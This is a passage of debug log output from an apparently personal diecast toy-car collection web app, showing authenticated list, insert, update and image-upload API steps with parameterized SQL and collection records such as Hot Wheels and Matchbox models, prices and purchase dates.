      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:38:20.474Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:39:00.836Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:39:00.836Z server-connect:app Executing action step identify
2026-02-04T06:39:00.836Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:00.836Z server-connect:output identity: 1
2026-02-04T06:39:00.836Z server-connect:app Executing action step restrict
2026-02-04T06:39:00.836Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:00.837Z server-connect:output restrict: undefined
2026-02-04T06:39:00.837Z server-connect:app Executing action step condition
2026-02-04T06:39:00.837Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:39:00.837Z server-connect:app Executing action step insert
2026-02-04T06:39:00.837Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:39:00.838Z server-connect:output insert: { affected: 1, identity: 153 }
2026-02-04T06:39:00.838Z server-connect:app Executing action step condition
2026-02-04T06:39:00.838Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T06:39:00.838Z server-connect:app Executing action step upload
2026-02-04T06:39:00.838Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:39:00.838Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:39:00.838Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:39:00.838Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105347.jpg',
  data: <Buffer >,
  size: 133569,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-22-20378841770187140835',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '2b2f705dd3f64c3948ef80ac352d0d66',
  mv: [Function: mv]
}
2026-02-04T06:39:00.839Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg'
}
2026-02-04T06:39:00.839Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg',
  rel: 'assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg'
}
2026-02-04T06:39:00.839Z server-connect:output upload_image: [
  {
    name: 'Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg',
    path: '/public/assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg',
    url: '/assets/images/diecast/Screenshot_2026-02-04_105347_9d2d8aef-c071-4c81-8019-518b360ef6d7.jpg',
    type: 'image/jpeg',
    size: 133569
  }
]
2026-02-04T06:39:00.839Z server-connect:app Executing action step repeat
2026-02-04T06:39:00.839Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T06:39:00.839Z server-connect:app Executing action step insert
2026-02-04T06:39:00.839Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:39:00.839Z server-connect:output images: { affected: 1, identity: 173 }
2026-02-04T06:39:00.839Z server-connect:output repeat_images: [ {} ]
2026-02-04T06:39:00.839Z server-connect:output condition: undefined
2026-02-04T06:39:00.839Z server-connect:output condition: undefined
2026-02-04T06:39:01.044Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:01.045Z server-connect:app Executing action step identify
2026-02-04T06:39:01.045Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:01.045Z server-connect:output identity: 1
2026-02-04T06:39:01.045Z server-connect:app Executing action step restrict
2026-02-04T06:39:01.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:01.045Z server-connect:output restrict: undefined
2026-02-04T06:39:01.045Z server-connect:app Executing action step paged
2026-02-04T06:39:01.045Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:01.048Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 135,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:07.176Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:39:07.176Z server-connect:app Executing action step identify
2026-02-04T06:39:07.176Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:07.176Z server-connect:output identity: 1
2026-02-04T06:39:07.177Z server-connect:app Executing action step restrict
2026-02-04T06:39:07.177Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:07.177Z server-connect:output restrict: undefined
2026-02-04T06:39:07.177Z server-connect:app Executing action step condition
2026-02-04T06:39:07.177Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:39:07.177Z server-connect:app Executing action step update
2026-02-04T06:39:07.177Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:39:07.178Z server-connect:output update: { affected: 1 }
2026-02-04T06:39:07.178Z server-connect:app Executing action step upload
2026-02-04T06:39:07.178Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:39:07.178Z server-connect:output upload_image: []
2026-02-04T06:39:07.178Z server-connect:app Executing action step repeat
2026-02-04T06:39:07.178Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:39:07.178Z server-connect:output repeat_images: []
2026-02-04T06:39:07.178Z server-connect:output condition: undefined
2026-02-04T06:39:07.423Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:07.423Z server-connect:app Executing action step identify
2026-02-04T06:39:07.423Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:07.423Z server-connect:output identity: 1
2026-02-04T06:39:07.423Z server-connect:app Executing action step restrict
2026-02-04T06:39:07.423Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:07.424Z server-connect:output restrict: undefined
2026-02-04T06:39:07.424Z server-connect:app Executing action step paged
2026-02-04T06:39:07.424Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:07.427Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 135,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
